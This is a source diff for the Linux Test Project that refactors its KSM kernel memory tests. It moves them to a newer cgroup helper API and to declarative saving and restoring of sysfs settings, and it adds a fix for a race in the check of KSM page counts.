 #include "tst_test.h"
-#include "tst_cgroup.h"
 #include "ksm_helper.h"
+#include "tst_memutils.h"
 
 #if defined(__powerpc__) || defined(__powerpc64__)
 #define MAXNODES		256
@@ -46,6 +50,8 @@
 
 void create_same_memory(int size, int num, int unit);
 void test_ksm_merge_across_nodes(unsigned long nr_pages);
+void ksm_group_check(int run, int pg_shared, int pg_sharing, int pg_volatile,
+                     int pg_unshared, int sleep_msecs, int pages_to_scan);
 
 /* THP */
 
@@ -61,7 +67,7 @@
 void write_memcg(void);
 
 /* cpuset/memcg - include/tst_cgroup.h */
-void write_cpusets(const struct tst_cgroup_group *cg, long nd);
+void write_cpusets(const struct tst_cg_group *cg, long nd);
 
 /* shared */
 unsigned int get_a_numa_node(void);
diff --git a/testcases/kernel/mem/ksm/Makefile b/testcases/kernel/mem/ksm/Makefile
index dd55fb8..2366256 100644
--- a/testcases/kernel/mem/ksm/Makefile
+++ b/testcases/kernel/mem/ksm/Makefile
@@ -1,23 +1,11 @@
-#
-#  Copyright (C) 2010  Red Hat, Inc.
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (C) 2010  Red Hat, Inc.
 
 top_srcdir		?= ../../../..
 
+LTPLIBS = ltpnuma
+ksm06: LTPLDLIBS = -lltpnuma
+
 include $(top_srcdir)/include/mk/testcases.mk
 include $(top_srcdir)/testcases/kernel/mem/include/libmem.mk
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/mem/ksm/ksm01.c b/testcases/kernel/mem/ksm/ksm01.c
index cd2c5c6..1f3852f 100644
--- a/testcases/kernel/mem/ksm/ksm01.c
+++ b/testcases/kernel/mem/ksm/ksm01.c
@@ -66,46 +66,29 @@
 
 static void setup(void)
 {
-	if (access(PATH_KSM, F_OK) == -1)
-		tst_brk(TCONF, "KSM configuration is not enabled");
-
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
-
-	/*
-	 * kernel commit 90bd6fd introduced a new KSM sysfs knob
-	 * /sys/kernel/mm/ksm/merge_across_nodes, setting it to '0'
-	 * will prevent KSM pages being merged across numa nodes,
-	 * which will cause the case fail, so we need to make sure
-	 * it is enabled before testing.
-	 */
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) {
-		SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes",
-				"%d", &merge_across_nodes);
-		SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
-	}
-}
-
-static void cleanup(void)
-{
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0)
-		FILE_PRINTF(PATH_KSM "merge_across_nodes",
-				 "%d", merge_across_nodes);
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
 	.options = (struct tst_option[]) {
-		{"n:", &opt_numstr,  "-n       Number of processes"},
-		{"s:", &opt_sizestr, "-s       Memory allocation size in MB"},
-		{"u:", &opt_unitstr, "-u       Memory allocation unit in MB"},
+		{"n:", &opt_numstr,  "Number of processes"},
+		{"s:", &opt_sizestr, "Memory allocation size in MB"},
+		{"u:", &opt_unitstr, "Memory allocation unit in MB"},
 		{}
 	},
 	.setup = setup,
-	.cleanup = cleanup,
-	.save_restore = (const char * const[]) {
-		"?/sys/kernel/mm/ksm/max_page_sharing",
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/sys/kernel/mm/ksm/run", NULL},
+		{"!/sys/kernel/mm/ksm/sleep_millisecs", NULL},
+		{"?/sys/kernel/mm/ksm/max_page_sharing", NULL},
+		{"?/sys/kernel/mm/ksm/merge_across_nodes", "1"},
+		{}
+	},
+	.needs_kconfigs = (const char *const[]){
+		"CONFIG_KSM=y",
+		NULL
 	},
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
diff --git a/testcases/kernel/mem/ksm/ksm02.c b/testcases/kernel/mem/ksm/ksm02.c
index 80017df..4183108 100644
--- a/testcases/kernel/mem/ksm/ksm02.c
+++ b/testcases/kernel/mem/ksm/ksm02.c
@@ -59,9 +59,6 @@
 #ifdef HAVE_NUMA_V2
 #include <numaif.h>
 
-static const struct tst_cgroup_group *cg;
-static const struct tst_cgroup_group *cg_drain;
-
 static void verify_ksm(void)
 {
 	unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 };
@@ -79,56 +76,45 @@
 	}
 	create_same_memory(size, num, unit);
 
-	write_cpusets(cg, node);
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
+	write_cpusets(tst_cg, node);
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
 	create_same_memory(size, num, unit);
-	SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid());
-}
-
-static void cleanup(void)
-{
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0)
-		FILE_PRINTF(PATH_KSM "merge_across_nodes",
-				 "%d", merge_across_nodes);
-
-	tst_cgroup_cleanup();
+	SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid());
 }
 
 static void setup(void)
 {
-	if (access(PATH_KSM, F_OK) == -1)
-		tst_brk(TCONF, "KSM configuration is not enabled");
-
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
 
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) {
-		SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes",
-				"%d", &merge_across_nodes);
-		SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
-	}
-
-	tst_cgroup_require("cpuset", NULL);
-	cg = tst_cgroup_get_test_group();
-	cg_drain = tst_cgroup_get_drain_group();
+	if (opt_sizestr && size > DEFAULT_MEMSIZE)
+		tst_set_max_runtime(32 * (size / DEFAULT_MEMSIZE));
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
 	.options = (struct tst_option[]) {
-		{"n:", &opt_numstr,  "-n       Number of processes"},
-		{"s:", &opt_sizestr, "-s       Memory allocation size in MB"},
-		{"u:", &opt_unitstr, "-u       Memory allocation unit in MB"},
+		{"n:", &opt_numstr,  "Number of processes"},
+		{"s:", &opt_sizestr, "Memory allocation size in MB"},
+		{"u:", &opt_unitstr, "Memory allocation unit in MB"},
 		{}
 	},
 	.setup = setup,
-	.cleanup = cleanup,
-	.save_restore = (const char * const[]) {
-		"?/sys/kernel/mm/ksm/max_page_sharing",
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/sys/kernel/mm/ksm/run", NULL},
+		{"!/sys/kernel/mm/ksm/sleep_millisecs", NULL},
+		{"?/sys/kernel/mm/ksm/max_page_sharing", NULL},
+		{"?/sys/kernel/mm/ksm/merge_across_nodes", "1"},
+		{}
+	},
+	.needs_kconfigs = (const char *const[]){
+		"CONFIG_KSM=y",
+		NULL
 	},
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
+	.max_runtime = 32,
+	.needs_cgroup_ctrls = (const char *const []){ "cpuset", NULL },
 };
 
 #else
diff --git a/testcases/kernel/mem/ksm/ksm03.c b/testcases/kernel/mem/ksm/ksm03.c
index 83b821c..1cf2e49 100644
--- a/testcases/kernel/mem/ksm/ksm03.c
+++ b/testcases/kernel/mem/ksm/ksm03.c
@@ -59,8 +59,6 @@
 #include "mem.h"
 #include "ksm_common.h"
 
-static const struct tst_cgroup_group *cg;
-
 static void verify_ksm(void)
 {
 	create_same_memory(size, num, unit);
@@ -68,46 +66,34 @@
 
 static void setup(void)
 {
-	if (access(PATH_KSM, F_OK) == -1)
-		tst_brk(TCONF, "KSM configuration is not enabled");
-
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) {
-		SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes",
-				"%d", &merge_across_nodes);
-		SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
-	}
-
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
 
-	tst_cgroup_require("memory", NULL);
-	cg = tst_cgroup_get_test_group();
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
-	SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM);
-}
-
-static void cleanup(void)
-{
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0)
-		FILE_PRINTF(PATH_KSM "merge_across_nodes",
-				 "%d", merge_across_nodes);
-	tst_cgroup_cleanup();
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
+	SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM);
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
 	.options = (struct tst_option[]) {
-		{"n:", &opt_numstr,  "-n       Number of processes"},
-		{"s:", &opt_sizestr, "-s       Memory allocation size in MB"},
-		{"u:", &opt_unitstr, "-u       Memory allocation unit in MB"},
+		{"n:", &opt_numstr,  "Number of processes"},
+		{"s:", &opt_sizestr, "Memory allocation size in MB"},
+		{"u:", &opt_unitstr, "Memory allocation unit in MB"},
 		{}
 	},
 	.setup = setup,
-	.cleanup = cleanup,
-	.save_restore = (const char * const[]) {
-		"?/sys/kernel/mm/ksm/max_page_sharing",
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/sys/kernel/mm/ksm/run", NULL},
+		{"!/sys/kernel/mm/ksm/sleep_millisecs", NULL},
+		{"?/sys/kernel/mm/ksm/max_page_sharing", NULL},
+		{"?/sys/kernel/mm/ksm/merge_across_nodes", "1"},
+		{}
+	},
+	.needs_kconfigs = (const char *const[]){
+		"CONFIG_KSM=y",
+		NULL
 	},
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
+	.needs_cgroup_ctrls = (const char *const []){ "memory", NULL },
 };
diff --git a/testcases/kernel/mem/ksm/ksm04.c b/testcases/kernel/mem/ksm/ksm04.c
index 65f7e65..9fe9d6d 100644
--- a/testcases/kernel/mem/ksm/ksm04.c
+++ b/testcases/kernel/mem/ksm/ksm04.c
@@ -59,8 +59,6 @@
 #ifdef HAVE_NUMA_V2
 #include <numaif.h>
 
-static const struct tst_cgroup_group *cg;
-
 static void verify_ksm(void)
 {
 	unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 };
@@ -69,7 +67,7 @@
 	node = get_a_numa_node();
 	set_node(nmask, node);
 
-	SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM);
+	SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM);
 
 	if (set_mempolicy(MPOL_BIND, nmask, MAXNODES) == -1) {
 		if (errno != ENOSYS)
@@ -80,55 +78,47 @@
 	}
 	create_same_memory(size, num, unit);
 
-	write_cpusets(cg, node);
+	write_cpusets(tst_cg, node);
 	create_same_memory(size, num, unit);
 }
 
-static void cleanup(void)
-{
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0)
-		FILE_PRINTF(PATH_KSM "merge_across_nodes",
-				 "%d", merge_across_nodes);
-
-	tst_cgroup_cleanup();
-}
-
 static void setup(void)
 {
-	if (access(PATH_KSM, F_OK) == -1)
-		tst_brk(TCONF, "KSM configuration is not enabled");
-
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == 0) {
-		SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes",
-				"%d", &merge_across_nodes);
-		SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
-	}
-
 	parse_ksm_options(opt_sizestr, &size, opt_numstr, &num, opt_unitstr, &unit);
 
-	tst_cgroup_require("memory", NULL);
-	tst_cgroup_require("cpuset", NULL);
-	cg = tst_cgroup_get_test_group();
-	SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid());
+	SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid());
+
+	if (opt_sizestr && size > DEFAULT_MEMSIZE)
+		tst_set_max_runtime(32 * (size / DEFAULT_MEMSIZE));
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
 	.options = (struct tst_option[]) {
-		{"n:", &opt_numstr,  "-n       Number of processes"},
-		{"s:", &opt_sizestr, "-s       Memory allocation size in MB"},
-		{"u:", &opt_unitstr, "-u       Memory allocation unit in MB"},
+		{"n:", &opt_numstr,  "Number of processes"},
+		{"s:", &opt_sizestr, "Memory allocation size in MB"},
+		{"u:", &opt_unitstr, "Memory allocation unit in MB"},
 		{}
 	},
 	.setup = setup,
-	.cleanup = cleanup,
-	.save_restore = (const char * const[]) {
-		"?/sys/kernel/mm/ksm/max_page_sharing",
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/sys/kernel/mm/ksm/run", NULL},
+		{"!/sys/kernel/mm/ksm/sleep_millisecs", NULL},
+		{"?/sys/kernel/mm/ksm/max_page_sharing", NULL},
+		{"?/sys/kernel/mm/ksm/merge_across_nodes", "1"},
+		{}
+	},
+	.needs_kconfigs = (const char *const[]){
+		"CONFIG_KSM=y",
+		NULL
 	},
 	.test_all = verify_ksm,
 	.min_kver = "2.6.32",
+	.max_runtime = 32,
+	.needs_cgroup_ctrls = (const char *const []){
+		"memory", "cpuset", NULL
+	},
 };
 
 #else
diff --git a/testcases/kernel/mem/ksm/ksm05.c b/testcases/kernel/mem/ksm/ksm05.c
index 380bb02..146a9a3 100644
--- a/testcases/kernel/mem/ksm/ksm05.c
+++ b/testcases/kernel/mem/ksm/ksm05.c
@@ -83,32 +83,19 @@
 	_exit((sig == SIGSEGV) ? 0 : sig);
 }
 
-static void setup(void)
-{
-	if (access(PATH_KSM, F_OK) == -1)
-		tst_brk(TCONF, "KSM configuration is not enabled");
-
-	/* save original /sys/kernel/mm/ksm/run value */
-	SAFE_FILE_SCANF(PATH_KSM "run", "%d", &ksm_run_orig);
-
-	/* echo 1 > /sys/kernel/mm/ksm/run */
-	SAFE_FILE_PRINTF(PATH_KSM "run", "1");
-}
-
-static void cleanup(void)
-{
-	/* restore /sys/kernel/mm/ksm/run value */
-	if (ksm_run_orig > 0)
-		FILE_PRINTF(PATH_KSM "run", "%d", ksm_run_orig);
-}
-
 static struct tst_test test = {
 	.needs_root = 1,
 	.forks_child = 1,
-	.setup = setup,
-	.cleanup = cleanup,
 	.test_all = test_ksm,
 	.min_kver = "2.6.32",
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/sys/kernel/mm/ksm/run", "1"},
+		{}
+	},
+	.needs_kconfigs = (const char *const[]){
+		"CONFIG_KSM=y",
+		NULL
+	},
 };
 
 #else
diff --git a/testcases/kernel/mem/ksm/ksm06.c b/testcases/kernel/mem/ksm/ksm06.c
index 1c43558..21c82ed 100644
--- a/testcases/kernel/mem/ksm/ksm06.c
+++ b/testcases/kernel/mem/ksm/ksm06.c
@@ -1,24 +1,24 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2013-2017  Red Hat, Inc.
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
  */
-
-/*
- * The case is designed to test new sysfs boolean knob
- * /sys/kernel/mm/ksm/merge_across_nodes, which was introduced by
- * commit 90bd6fd31c8097ee (ksm: allow trees per NUMA node).
- * when merge_across_nodes is set to zero only pages from the same
+/*\
+ * [Description]
+ *
+ * The case is designed to test sysfs boolean knob
+ * /sys/kernel/mm/ksm/merge_across_nodes.
+ *
+ * When merge_across_nodes is set to zero only pages from the same
  * node are merged, otherwise pages from all nodes can be merged
  * together.
+ *
+ * Introduced in commit:
+ *
+ *  commit 90bd6fd31c8097ee4ddcb74b7e08363134863de5
+ *   Author: Petr Holasek <pholasek@redhat.com>
+ *   Date:   Fri Feb 22 16:35:00 2013 -0800
+ *
+ *   ksm: allow trees per NUMA node
  */
 
 #include "config.h"
@@ -34,69 +34,119 @@
 #include <limits.h>
 
 #include "mem.h"
-#include "numa_helper.h"
+#include "tst_numa.h"
 
 #ifdef HAVE_NUMA_V2
-#include <numaif.h>
+# include <numa.h>
+# include <numaif.h>
 
-static int run = -1;
-static int sleep_millisecs = -1;
-static int merge_across_nodes = -1;
-static unsigned long nr_pages;
-
+static unsigned long nr_pages = 100;
 static char *n_opt;
 
+static size_t page_size;
+static struct tst_nodemap *nodes;
+
 static void test_ksm(void)
 {
-	if (n_opt)
-		nr_pages = SAFE_STRTOUL(n_opt, 0, ULONG_MAX);
-	else
-		nr_pages = 100;
+	char **memory;
+	unsigned int i;
+	int ret;
+	unsigned long length;
+	struct bitmask *bm = numa_allocate_nodemask();
 
-	test_ksm_merge_across_nodes(nr_pages);
+	length = nr_pages * page_size;
+
+	memory = SAFE_MALLOC(nodes->cnt * sizeof(char *));
+	for (i = 0; i < nodes->cnt; i++) {
+		memory[i] = SAFE_MMAP(NULL, length, PROT_READ|PROT_WRITE,
+			    MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
+#ifdef HAVE_DECL_MADV_MERGEABLE
+		if (madvise(memory[i], length, MADV_MERGEABLE) == -1)
+			tst_brk(TBROK|TERRNO, "madvise");
+#endif
+
+#ifdef HAVE_NUMA_V2
+		numa_bitmask_setbit(bm, nodes->map[i]);
+
+		ret = mbind(memory[i], length, MPOL_BIND, bm->maskp, bm->size+1, 0);
+		if (ret == -1)
+			tst_brk(TBROK|TERRNO, "mbind");
+
+		numa_bitmask_clearbit(bm, nodes->map[i]);
+#endif
+
+		memset(memory[i], 10, length);
+
+		if (mlock(memory[i], length))
+			tst_res(TWARN | TERRNO, "mlock() failed");
+	}
+
+	numa_free_nodemask(bm);
+
+	SAFE_FILE_PRINTF(PATH_KSM "sleep_millisecs", "0");
+	SAFE_FILE_PRINTF(PATH_KSM "pages_to_scan", "%ld",
+			 nr_pages * nodes->cnt);
+	/*
+	 * merge_across_nodes and max_page_sharing setting can be changed
+	 * only when there are no ksm shared pages in system, so set run 2
+	 * to unmerge pages first, then to 1 after changing merge_across_nodes,
+	 * to remerge according to the new setting.
+	 */
+	SAFE_FILE_PRINTF(PATH_KSM "run", "2");
+	if (access(PATH_KSM "max_page_sharing", F_OK) == 0)
+		SAFE_FILE_PRINTF(PATH_KSM "max_page_sharing",
+			"%ld", nr_pages * nodes->cnt);
+	tst_res(TINFO, "Start to test KSM with merge_across_nodes=1");
+	SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
+	SAFE_FILE_PRINTF(PATH_KSM "run", "1");
+	ksm_group_check(1, 1, nr_pages * nodes->cnt - 1, 0, 0, 0,
+			nr_pages * nodes->cnt);
+
+	SAFE_FILE_PRINTF(PATH_KSM "run", "2");
+	tst_res(TINFO, "Start to test KSM with merge_across_nodes=0");
+	SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "0");
+	SAFE_FILE_PRINTF(PATH_KSM "run", "1");
+	ksm_group_check(1, nodes->cnt, nr_pages * nodes->cnt - nodes->cnt,
+			0, 0, 0, nr_pages * nodes->cnt);
+
+	SAFE_FILE_PRINTF(PATH_KSM "run", "2");
+
+	for (i = 0; i < nodes->cnt; i++)
+		SAFE_MUNMAP(memory[i], length);
+
+	free(memory);
 }
 
 static void setup(void)
 {
-	if (access(PATH_KSM "merge_across_nodes", F_OK) == -1)
-		tst_brk(TCONF, "no merge_across_nodes sysfs knob");
+	if (n_opt)
+		nr_pages = SAFE_STRTOUL(n_opt, 0, ULONG_MAX);
 
-	if (!is_numa(NULL, NH_MEMS, 2))
-		tst_brk(TCONF, "The case needs a NUMA system.");
+	page_size = getpagesize();
 
-	/* save the current value */
-	SAFE_FILE_SCANF(PATH_KSM "run", "%d", &run);
-	SAFE_FILE_SCANF(PATH_KSM "merge_across_nodes",
-			"%d", &merge_across_nodes);
-	SAFE_FILE_SCANF(PATH_KSM "sleep_millisecs",
-			"%d", &sleep_millisecs);
-}
-
-static void cleanup(void)
-{
-	if (merge_across_nodes != -1) {
-		FILE_PRINTF(PATH_KSM "merge_across_nodes",
-			    "%d", merge_across_nodes);
-	}
-
-	if (sleep_millisecs != -1)
-		FILE_PRINTF(PATH_KSM "sleep_millisecs", "%d", sleep_millisecs);
-
-	if (run != -1)
-		FILE_PRINTF(PATH_KSM "run", "%d", run);
+	nodes = tst_get_nodemap(TST_NUMA_MEM, nr_pages * page_size / 1024);
+	if (nodes->cnt <= 1)
+		tst_brk(TCONF, "Test requires at least two NUMA memory nodes");
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
 	.options = (struct tst_option[]) {
-		{"n:", &n_opt,  "-n x    Allocate x pages memory per node"},
+		{"n:", &n_opt,  "Allocate x pages memory per node"},
 		{}
 	},
 	.setup = setup,
-	.cleanup = cleanup,
-	.save_restore = (const char * const[]) {
-		"?/sys/kernel/mm/ksm/max_page_sharing",
-		NULL,
+	.save_restore = (const struct tst_path_val[]) {
+		{"?/sys/kernel/mm/ksm/max_page_sharing", NULL},
+		{"!/sys/kernel/mm/ksm/run", NULL},
+		{"!/sys/kernel/mm/ksm/sleep_millisecs", NULL},
+		{"/sys/kernel/mm/ksm/merge_across_nodes", NULL},
+		{}
+	},
+	.needs_kconfigs = (const char *const[]){
+		"CONFIG_KSM=y",
+		"CONFIG_NUMA=y",
+		NULL
 	},
 	.test_all = test_ksm,
 };
diff --git a/testcases/kernel/mem/ksm/ksm_common.h b/testcases/kernel/mem/ksm/ksm_common.h
index e6d5387..a582891 100644
--- a/testcases/kernel/mem/ksm/ksm_common.h
+++ b/testcases/kernel/mem/ksm/ksm_common.h
@@ -9,9 +9,9 @@
 
 #include "tst_test.h"
 
-int merge_across_nodes;
+#define DEFAULT_MEMSIZE 128
 
-int size = 128, num = 3, unit = 1;
+int size = DEFAULT_MEMSIZE, num = 3, unit = 1;
 char *opt_sizestr, *opt_numstr, *opt_unitstr;
 
 static inline void parse_ksm_options(char *str_size, int *size,
diff --git a/testcases/kernel/mem/lib/mem.c b/testcases/kernel/mem/lib/mem.c
index 9f946b5..8ddd7ad 100644
--- a/testcases/kernel/mem/lib/mem.c
+++ b/testcases/kernel/mem/lib/mem.c
@@ -78,7 +78,7 @@
 	pthread_t *th;
 
 	if (lite) {
-		int ret = alloc_mem(TESTMEM + MB, testcase);
+		int ret = alloc_mem(TESTMEM * 2 + MB, testcase);
 		exit(ret);
 	}
 
@@ -129,8 +129,11 @@
 	pid_t pid;
 	int status, threads;
 
+	tst_enable_oom_protection(0);
+
 	switch (pid = SAFE_FORK()) {
 	case 0:
+		tst_disable_oom_protection(0);
 		threads = MAX(1, tst_ncpus() - 1);
 		child_alloc(testcase, lite, threads);
 	default:
@@ -258,19 +261,36 @@
 			  int pages_volatile, int pages_unshared,
 			  int sleep_millisecs, int pages_to_scan)
 {
+	int ksm_run_orig;
+
 	tst_res(TINFO, "check!");
 	check("run", run);
+
+	/*
+	 * Temporarily stop the KSM scan during the checks: during the
+	 * KSM scan the rmap_items in the stale unstable tree of the
+	 * old pass are removed from it and are later reinserted in
+	 * the new unstable tree of the current pass. So if the checks
+	 * run in the race window between removal and re-insertion, it
+	 * can lead to unexpected false positives where page_volatile
+	 * is elevated and page_unshared is recessed.
+	 */
+	SAFE_FILE_SCANF(PATH_KSM "run", "%d", &ksm_run_orig);
+	SAFE_FILE_PRINTF(PATH_KSM "run", "0");
+
 	check("pages_shared", pages_shared);
 	check("pages_sharing", pages_sharing);
 	check("pages_volatile", pages_volatile);
 	check("pages_unshared", pages_unshared);
 	check("sleep_millisecs", sleep_millisecs);
 	check("pages_to_scan", pages_to_scan);
+
+	SAFE_FILE_PRINTF(PATH_KSM "run", "%d", ksm_run_orig);
 }
 
-static void group_check(int run, int pages_shared, int pages_sharing,
-			int pages_volatile, int pages_unshared,
-			int sleep_millisecs, int pages_to_scan)
+void ksm_group_check(int run, int pages_shared, int pages_sharing,
+		     int pages_volatile, int pages_unshared,
+		     int sleep_millisecs, int pages_to_scan)
 {
 	if (run != 1) {
 		tst_res(TFAIL, "group_check run is not 1, %d.", run);
@@ -486,19 +506,19 @@
 
 	resume_ksm_children(child, num);
 	stop_ksm_children(child, num);
-	group_check(1, 2, size * num * pages - 2, 0, 0, 0, size * pages * num);
+	ksm_group_check(1, 2, size * num * pages - 2, 0, 0, 0, size * pages * num);
 
 	resume_ksm_children(child, num);
 	stop_ksm_children(child, num);
-	group_check(1, 3, size * num * pages - 3, 0, 0, 0, size * pages * num);
+	ksm_group_check(1, 3, size * num * pages - 3, 0, 0, 0, size * pages * num);
 
 	resume_ksm_children(child, num);
 	stop_ksm_children(child, num);
-	group_check(1, 1, size * num * pages - 1, 0, 0, 0, size * pages * num);
+	ksm_group_check(1, 1, size * num * pages - 1, 0, 0, 0, size * pages * num);
 
 	resume_ksm_children(child, num);
 	stop_ksm_children(child, num);
-	group_check(1, 1, size * num * pages - 2, 0, 1, 0, size * pages * num);
+	ksm_group_check(1, 1, size * num * pages - 2, 0, 1, 0, size * pages * num);
 
 	tst_res(TINFO, "KSM unmerging...");
 	SAFE_FILE_PRINTF(PATH_KSM "run", "2");
@@ -516,83 +536,6 @@
 				 WEXITSTATUS(status));
 }
 
-void test_ksm_merge_across_nodes(unsigned long nr_pages)
-{
-	char **memory;
-	int i, ret;
-	int num_nodes, *nodes;
-	unsigned long length;
-	unsigned long pagesize;
-
-#ifdef HAVE_NUMA_V2
-	unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 };
-#endif
-
-	ret = get_allowed_nodes_arr(NH_MEMS, &num_nodes, &nodes);
-	if (ret != 0)
-		tst_brk(TBROK|TERRNO, "get_allowed_nodes_arr");
-	if (num_nodes < 2) {
-		tst_res(TINFO, "need NUMA system support");
-		free(nodes);
-		return;
-	}
-
-	pagesize = sysconf(_SC_PAGE_SIZE);
-	length = nr_pages * pagesize;
-
-	memory = SAFE_MALLOC(num_nodes * sizeof(char *));
-	for (i = 0; i < num_nodes; i++) {
-		memory[i] = SAFE_MMAP(NULL, length, PROT_READ|PROT_WRITE,
-			    MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
-#ifdef HAVE_DECL_MADV_MERGEABLE
-		if (madvise(memory[i], length, MADV_MERGEABLE) == -1)
-			tst_brk(TBROK|TERRNO, "madvise");
-#endif
-
-#ifdef HAVE_NUMA_V2
-		clean_node(nmask);
-		set_node(nmask, nodes[i]);
-		/*
-		 * Use mbind() to make sure each node contains
-		 * length size memory.
-		 */
-		ret = mbind(memory[i], length, MPOL_BIND, nmask, MAXNODES, 0);
-		if (ret == -1)
-			tst_brk(TBROK|TERRNO, "mbind");
-#endif
-
-		memset(memory[i], 10, length);
-	}
-
-	SAFE_FILE_PRINTF(PATH_KSM "sleep_millisecs", "0");
-	SAFE_FILE_PRINTF(PATH_KSM "pages_to_scan", "%ld",
-			 nr_pages * num_nodes);
-	/*
-	 * merge_across_nodes and max_page_sharing setting can be changed
-	 * only when there are no ksm shared pages in system, so set run 2
-	 * to unmerge pages first, then to 1 after changing merge_across_nodes,
-	 * to remerge according to the new setting.
-	 */
-	SAFE_FILE_PRINTF(PATH_KSM "run", "2");
-	if (access(PATH_KSM "max_page_sharing", F_OK) == 0)
-		SAFE_FILE_PRINTF(PATH_KSM "max_page_sharing",
-			"%ld", nr_pages * num_nodes);
-	tst_res(TINFO, "Start to test KSM with merge_across_nodes=1");
-	SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "1");
-	SAFE_FILE_PRINTF(PATH_KSM "run", "1");
-	group_check(1, 1, nr_pages * num_nodes - 1, 0, 0, 0,
-		    nr_pages * num_nodes);
-
-	SAFE_FILE_PRINTF(PATH_KSM "run", "2");
-	tst_res(TINFO, "Start to test KSM with merge_across_nodes=0");
-	SAFE_FILE_PRINTF(PATH_KSM "merge_across_nodes", "0");
-	SAFE_FILE_PRINTF(PATH_KSM "run", "1");
-	group_check(1, num_nodes, nr_pages * num_nodes - num_nodes,
-		    0, 0, 0, nr_pages * num_nodes);
-
-	SAFE_FILE_PRINTF(PATH_KSM "run", "2");
-}
-
 /* THP */
 
 /* cpuset/memcg */
@@ -629,11 +572,11 @@
 	cpus[strlen(cpus) - 1] = '\0';
 }
 
-void write_cpusets(const struct tst_cgroup_group *cg, long nd)
+void write_cpusets(const struct tst_cg_group *cg, long nd)
 {
 	char cpus[BUFSIZ] = "";
 
-	SAFE_CGROUP_PRINTF(cg, "cpuset.mems", "%ld", nd);
+	SAFE_CG_PRINTF(cg, "cpuset.mems", "%ld", nd);
 
 	gather_node_cpus(cpus, nd);
 	/*
@@ -642,11 +585,11 @@
 	 * the value of cpuset.cpus.
 	 */
 	if (strlen(cpus) != 0) {
-		SAFE_CGROUP_PRINT(cg, "cpuset.cpus", cpus);
+		SAFE_CG_PRINT(cg, "cpuset.cpus", cpus);
 	} else {
 		tst_res(TINFO, "No CPUs in the node%ld; "
 				"using only CPU0", nd);
-		SAFE_CGROUP_PRINT(cg, "cpuset.cpus", "0");
+		SAFE_CG_PRINT(cg, "cpuset.cpus", "0");
 	}
 }
 
